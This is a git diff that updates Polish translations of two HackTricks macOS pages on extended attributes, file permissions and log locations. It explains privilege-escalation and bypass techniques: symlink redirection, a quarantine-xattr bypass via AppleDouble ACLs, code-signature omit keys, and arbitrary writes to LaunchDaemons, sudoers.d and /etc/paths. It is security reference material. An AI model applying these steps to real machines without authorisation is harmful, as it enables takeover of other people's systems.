- `com.apple.FinderInfo`: MacOS: Informacje Findera (np. kolorowe tagi)
|
||||
- `com.apple.TextEncoding`: Określa kodowanie tekstu plików tekstowych ASCII
|
||||
- `com.apple.logd.metadata`: Używane przez logd w plikach w `/var/db/diagnostics`
|
||||
- `com.apple.genstore.*`: Przechowywanie generacyjne (`/.DocumentRevisions-V100` w głównym katalogu systemu plików)
|
||||
- `com.apple.rootless`: MacOS: Używane przez System Integrity Protection do oznaczania pliku (III/10)
|
||||
- `com.apple.uuidb.boot-uuid`: Oznaczenia boot epochs przez logd z unikalnym UUID
|
||||
- `com.apple.decmpfs`: MacOS: Transparentna kompresja plików (II/7)
|
||||
- `com.apple.cprotect`: \*OS: Dane szyfrowania na poziomie pliku (III/11)
|
||||
- `com.apple.installd.*`: \*OS: Metadane używane przez installd, np. `installType`, `uniqueInstallID`
|
||||
|
||||
### Zasoby | macOS ADS
|
||||
|
||||
To sposób na uzyskanie **Alternatywnych Strumieni Danych w systemach MacOS**. Możesz zapisać zawartość wewnątrz rozszerzonego atrybutu o nazwie **com.apple.ResourceFork** wewnątrz pliku, zapisując go w **file/..namedfork/rsrc**.
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
|
@ -169,17 +210,23 @@ Możesz **znaleźć wszystkie pliki zawierające ten rozszerzony atrybut** za po
|
|||
```bash
|
||||
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
```
|
||||
{% endcode %}
|
||||
### decmpfs
|
||||
|
||||
## **Uniwersalne pliki binarne i** Format Mach-o
|
||||
Atrybut rozszerzony `com.apple.decmpfs` wskazuje, że plik jest przechowywany zaszyfrowany, `ls -l` będzie raportować **rozmiar 0** a skompresowane dane znajdują się w tym atrybucie. Za każdym razem, gdy plik jest dostępny, zostanie zdekodowany w pamięci.
|
||||
|
||||
Binarki systemu Mac OS zazwyczaj są kompilowane jako **uniwersalne pliki binarne**. **Uniwersalny plik binarny** może **obsługiwać wiele architektur w tym samym pliku**.
|
||||
Ten atrybut można zobaczyć za pomocą `ls -lO` oznaczonego jako skompresowany, ponieważ skompresowane pliki są również oznaczone flagą `UF_COMPRESSED`. Jeśli skompresowany plik zostanie usunięty, ta flaga z `chflags nocompressed </ścieżka/do/pliku>`, system nie będzie wiedział, że plik był skompresowany i dlatego nie będzie mógł go zdekompresować i uzyskać dostępu do danych (będzie myślał, że jest pusty).
|
||||
|
||||
Narzędzie afscexpand może być użyte do wymuszenia dekompresji pliku.
|
||||
|
||||
## **Uniwersalne binaria &** Format Mach-o
|
||||
|
||||
Binaria systemu Mac OS zazwyczaj są kompilowane jako **uniwersalne binaria**. **Uniwersalne binaria** mogą **obsługiwać wiele architektur w tym samym pliku**.
|
||||
|
||||
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
|
||||
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dumpowanie pamięci macOS
|
||||
## Zrzucanie pamięci macOS
|
||||
|
||||
{% content-ref url="macos-memory-dumping.md" %}
|
||||
[macos-memory-dumping.md](macos-memory-dumping.md)
|
||||
|
@ -187,22 +234,22 @@ Binarki systemu Mac OS zazwyczaj są kompilowane jako **uniwersalne pliki binarn
|
|||
|
||||
## Pliki kategorii ryzyka w systemie Mac OS
|
||||
|
||||
Katalog `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` to miejsce, gdzie przechowywane są informacje na temat **ryzyka związanego z różnymi rozszerzeniami plików**. Ten katalog kategoryzuje pliki na różne poziomy ryzyka, wpływając na to, w jaki sposób Safari obsługuje te pliki po pobraniu. Kategorie są następujące:
|
||||
Katalog `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` to miejsce, gdzie przechowywane są informacje o **ryzyku związanym z różnymi rozszerzeniami plików**. Ten katalog kategoryzuje pliki na różne poziomy ryzyka, wpływając na to, w jaki sposób Safari traktuje te pliki po pobraniu. Kategorie te to:
|
||||
|
||||
- **LSRiskCategorySafe**: Pliki w tej kategorii są uważane za **całkowicie bezpieczne**. Safari automatycznie otwiera te pliki po pobraniu.
|
||||
- **LSRiskCategoryNeutral**: Te pliki nie wywołują żadnych ostrzeżeń i **nie są automatycznie otwierane** przez Safari.
|
||||
- **LSRiskCategoryUnsafeExecutable**: Pliki w tej kategorii **wywołują ostrzeżenie**, wskazujące, że plik jest aplikacją. Jest to środek bezpieczeństwa mający na celu poinformowanie użytkownika.
|
||||
- **LSRiskCategoryMayContainUnsafeExecutable**: Ta kategoria dotyczy plików, takich jak archiwa, które mogą zawierać plik wykonywalny. Safari **wywołuje ostrzeżenie**, chyba że może zweryfikować, że wszystkie zawartości są bezpieczne lub neutralne.
|
||||
* **LSRiskCategorySafe**: Pliki w tej kategorii są uważane za **całkowicie bezpieczne**. Safari automatycznie otworzy te pliki po pobraniu.
|
||||
* **LSRiskCategoryNeutral**: Te pliki nie wyświetlają żadnych ostrzeżeń i **nie są automatycznie otwierane** przez Safari.
|
||||
* **LSRiskCategoryUnsafeExecutable**: Pliki w tej kategorii **wywołują ostrzeżenie**, wskazując, że plik jest aplikacją. Jest to środek bezpieczeństwa mający na celu poinformowanie użytkownika.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: Ta kategoria jest przeznaczona dla plików, takich jak archiwa, które mogą zawierać plik wykonywalny. Safari **wywoła ostrzeżenie**, chyba że może zweryfikować, że wszystkie zawartości są bezpieczne lub neutralne.
|
||||
|
||||
## Pliki dzienników
|
||||
|
||||
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Zawiera informacje o pobranych plikach, takie jak adres URL, z którego zostały pobrane.
|
||||
* **`/var/log/system.log`**: Główny dziennik systemowy systemów OSX. com.apple.syslogd.plist jest odpowiedzialny za wykonywanie sysloggingu (możesz sprawdzić, czy jest wyłączony, szukając "com.apple.syslogd" w `launchctl list`.
|
||||
* **`/private/var/log/asl/*.asl`**: To są dzienniki systemowe Apple, które mogą zawierać interesujące informacje.
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Przechowuje informacje o ostatnio używanych plikach i aplikacjach za pośrednictwem "Finder".
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Przechowuje elementy do uruchomienia podczas uruchamiania systemu.
|
||||
* **`/var/log/system.log`**: Główny dziennik systemów OSX. com.apple.syslogd.plist jest odpowiedzialny za wykonywanie sysloggingu (możesz sprawdzić, czy jest wyłączony, szukając "com.apple.syslogd" w `launchctl list`.
|
||||
* **`/private/var/log/asl/*.asl`**: To Apple System Logs, które mogą zawierać interesujące informacje.
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Przechowuje niedawno odwiedzane pliki i aplikacje za pośrednictwem "Finder".
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Przechowuje elementy do uruchomienia po uruchomieniu systemu.
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: Plik dziennika dla aplikacji DiskUtility (informacje o dyskach, w tym USB).
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Dane dotyczące punktów dostępu do sieci bezprzewodowej.
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Dane o punktach dostępu bezprzewodowego.
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Lista dezaktywowanych demonów.
|
||||
|
||||
<details>
|
||||
|
@ -211,10 +258,10 @@ Katalog `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -18,7 +18,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
Uprawnienia w **katalogu**:
|
||||
|
||||
* **odczyt** - możesz **wyświetlać** wpisy w katalogu
|
||||
* **odczyt** - możesz **wyświetlać** wpisy katalogu
|
||||
* **zapis** - możesz **usunąć/napisać** **pliki** w katalogu oraz **usunąć puste foldery**.
|
||||
* Jednak **nie możesz usunąć/modyfikować niepustych folderów** chyba że masz uprawnienia do zapisu nad nimi.
|
||||
* **Nie możesz modyfikować nazwy folderu** chyba że jesteś jego właścicielem.
|
||||
|
@ -36,19 +36,19 @@ Z dowolną z powyższych kombinacji atakujący mógłby **wstrzyknąć** **link
|
|||
|
||||
### Specjalny przypadek Folder root R+X
|
||||
|
||||
Jeśli w **katalogu** są pliki, do których **tylko root ma dostęp do R+X**, to **nie są one dostępne dla nikogo innego**. Więc podatność pozwalająca **przenieść plik czytelny dla użytkownika**, który nie może go odczytać z powodu tej **restrykcji**, z tego katalogu **do innego**, może być wykorzystana do odczytania tych plików.
|
||||
Jeśli w **katalogu** są pliki, do których **tylko root ma dostęp do R+X**, te pliki **nie są dostępne dla nikogo innego**. Więc podatność pozwalająca **przenieść plik czytelny dla użytkownika**, który nie może go odczytać z powodu tej **restrykcji**, z tego katalogu **do innego**, może być wykorzystana do odczytania tych plików.
|
||||
|
||||
Przykład w: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||
|
||||
## Link symboliczny / Link twardy
|
||||
|
||||
Jeśli uprzywilejowany proces zapisuje dane w **pliku**, który może być **kontrolowany** przez **mniej uprzywilejowanego użytkownika**, lub który mógł być **wcześniej utworzony** przez mniej uprzywilejowanego użytkownika. Użytkownik mógłby po prostu **skierować go do innego pliku** za pomocą linku symbolicznego lub twardego, a uprzywilejowany proces będzie zapisywał w tym pliku.
|
||||
Jeśli uprzywilejowany proces zapisuje dane w **pliku**, który może być **kontrolowany** przez **mniej uprzywilejowanego użytkownika**, lub który mógł być **wcześniej utworzony** przez mniej uprzywilejowanego użytkownika. Użytkownik mógłby po prostu **skierować go do innego pliku** za pomocą linku symbolicznego lub twardego, a uprzywilejowany proces zapisze w tym pliku.
|
||||
|
||||
Sprawdź w innych sekcjach, gdzie atakujący mógłby **wykorzystać dowolny zapis do eskalacji uprawnień**.
|
||||
|
||||
## .fileloc
|
||||
|
||||
Pliki z rozszerzeniem **`.fileloc`** mogą wskazywać na inne aplikacje lub binaria, więc gdy są otwierane, aplikacja/binarny zostanie uruchomiony.\
|
||||
Pliki z rozszerzeniem **`.fileloc`** mogą wskazywać na inne aplikacje lub binarne, więc gdy są otwierane, aplikacja/binarny zostanie uruchomiony.\
|
||||
Przykład:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -122,9 +122,9 @@ ls -le /tmp/test
|
|||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
Format pliku **AppleDouble** kopiuje plik wraz z jego ACEs.
|
||||
Format pliku **AppleDouble** kopiuje plik wraz z jego ACE.
|
||||
|
||||
W [**źródłowym kodzie**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że reprezentacja tekstu ACL przechowywana wewnątrz xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w zdekompresowanym pliku. Dlatego, jeśli spakowano aplikację do pliku zip w formacie **AppleDouble** z ACL, które uniemożliwiają zapisywanie innych xattr... xattr kwarantanny nie został ustawiony w aplikacji:
|
||||
W [**źródłowym kodzie**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że reprezentacja tekstu ACL przechowywana wewnątrz xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w zdekompresowanym pliku. Dlatego jeśli spakowano aplikację do pliku zip w formacie **AppleDouble** z ACL uniemożliwiającym zapisywanie innych xattr... xattr kwarantanny nie został ustawiony w aplikacji:
|
||||
|
||||
Sprawdź [**oryginalny raport**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) po więcej informacji.
|
||||
|
||||
|
@ -146,7 +146,7 @@ ditto -c -k del test.zip
|
|||
ditto -x -k --rsrc test.zip .
|
||||
ls -le test
|
||||
```
|
||||
(Odnotuj, że nawet jeśli to działa, sandbox zapisuje atrybuty xattr kwarantanny przed)
|
||||
(Note that even if this works the sandbox write the quarantine xattr before)
|
||||
|
||||
Nie jest to naprawdę konieczne, ale zostawiam to tutaj na wszelki wypadek:
|
||||
|
||||
|
@ -154,11 +154,11 @@ Nie jest to naprawdę konieczne, ale zostawiam to tutaj na wszelki wypadek:
|
|||
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ominiecie podpisów kodu
|
||||
## Ominięcie Podpisów Kodu
|
||||
|
||||
Paczki zawierają plik **`_CodeSignature/CodeResources`**, który zawiera **skrót** każdego pojedynczego **pliku** w **paczce**. Należy zauważyć, że skrót CodeResources jest również **wbudowany w plik wykonywalny**, więc nie możemy tego zmienić.
|
||||
|
||||
Jednak istnieją pewne pliki, których podpis nie będzie sprawdzany, posiadają one klucz omit w pliku plist, jak na przykład:
|
||||
Jednak istnieją pewne pliki, których podpis nie będzie sprawdzany, posiadają one klucz omit w pliku plist, na przykład:
|
||||
```xml
|
||||
<dict>
|
||||
...
|
||||
|
@ -203,12 +203,14 @@ Jednak istnieją pewne pliki, których podpis nie będzie sprawdzany, posiadają
|
|||
</dict>
|
||||
```
|
||||
Możliwe jest obliczenie sygnatury zasobu z wiersza poleceń za pomocą:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
|
||||
```
|
||||
## Zamontuj obrazy dysków dmg
|
||||
## Zamontuj obrazy dysków
|
||||
|
||||
Użytkownik może zamontować niestandardowy obraz dysku dmg nawet na istniejących folderach. Oto jak można utworzyć niestandardowy pakiet dmg z niestandardową zawartością:
|
||||
Użytkownik może zamontować niestandardowy obraz dysku nawet na istniejących folderach. Oto jak można utworzyć niestandardowy pakiet dmg z niestandardową zawartością:
|
||||
```bash
|
||||
# Create the volume
|
||||
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
||||
|
@ -231,17 +233,20 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Dowolne zapisy
|
||||
Zazwyczaj macOS montuje dysk, komunikując się z usługą Mach `com.apple.DiskArbitrarion.diskarbitrariond` (dostarczaną przez `/usr/libexec/diskarbitrationd`). Dodanie parametru `-d` do pliku LaunchDaemons plist i ponowne uruchomienie spowoduje zapisywanie logów w `/var/log/diskarbitrationd.log`.\
|
||||
Jednakże możliwe jest użycie narzędzi takich jak `hdik` i `hdiutil` do bezpośredniej komunikacji z rozszerzeniem jądra `com.apple.driver.DiskImages`.
|
||||
|
||||
## Arbitrary Writes
|
||||
|
||||
### Skrypty sh okresowe
|
||||
|
||||
Jeśli twój skrypt mógłby zostać zinterpretowany jako **skrypt powłoki**, możesz nadpisać skrypt powłoki **`/etc/periodic/daily/999.local`**, który zostanie uruchomiony codziennie.
|
||||
Jeśli twój skrypt może zostać zinterpretowany jako **skrypt powłoki**, możesz nadpisać skrypt powłoki **`/etc/periodic/daily/999.local`**, który zostanie uruchomiony codziennie.
|
||||
|
||||
Możesz **podrobić** wykonanie tego skryptu za pomocą: **`sudo periodic daily`**
|
||||
Możesz **symulować** wykonanie tego skryptu za pomocą: **`sudo periodic daily`**
|
||||
|
||||
### Daemony
|
||||
|
||||
Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** z plikiem plist wykonującym dowolny skrypt, na przykład:
|
||||
Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** z plistem wykonującym dowolny skrypt, na przykład:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -260,13 +265,13 @@ Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.pri
|
|||
```
|
||||
### Plik Sudoers
|
||||
|
||||
Jeśli masz **dowolne uprawnienia do zapisu**, możesz utworzyć plik w folderze **`/etc/sudoers.d/`** nadając sobie **uprawnienia sudo**.
|
||||
Jeśli masz **dowolne uprawnienia do zapisu**, możesz utworzyć plik w folderze **`/etc/sudoers.d/`** nadając sobie uprawnienia **sudo**.
|
||||
|
||||
### Pliki PATH
|
||||
### Pliki ścieżki
|
||||
|
||||
Plik **`/etc/paths`** jest jednym z głównych miejsc, które uzupełniają zmienną środowiskową PATH. Musisz być rootem, aby go nadpisać, ale jeśli skrypt z **procesu uprzywilejowanego** wykonuje jakieś **polecenie bez pełnej ścieżki**, możesz próbować go **przechwycić**, modyfikując ten plik.
|
||||
Plik **`/etc/paths`** to jedno z głównych miejsc, które uzupełnia zmienną środowiskową PATH. Musisz być rootem, aby go nadpisać, ale jeśli skrypt z **procesu uprzywilejowanego** wykonuje jakieś **polecenie bez pełnej ścieżki**, możesz próbować go **przechwycić**, modyfikując ten plik.
|
||||
|
||||
Możesz również tworzyć pliki w **`/etc/paths.d`**, aby załadować nowe foldery do zmiennej środowiskowej `PATH`.
|
||||
Możesz również tworzyć pliki w **`/etc/paths.d`** aby załadować nowe foldery do zmiennej środowiskowej `PATH`.
|
||||
|
||||
## Generowanie plików z możliwością zapisu jako inne użytkowniki
|
||||
|
||||
|
@ -288,14 +293,14 @@ echo $FILENAME
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue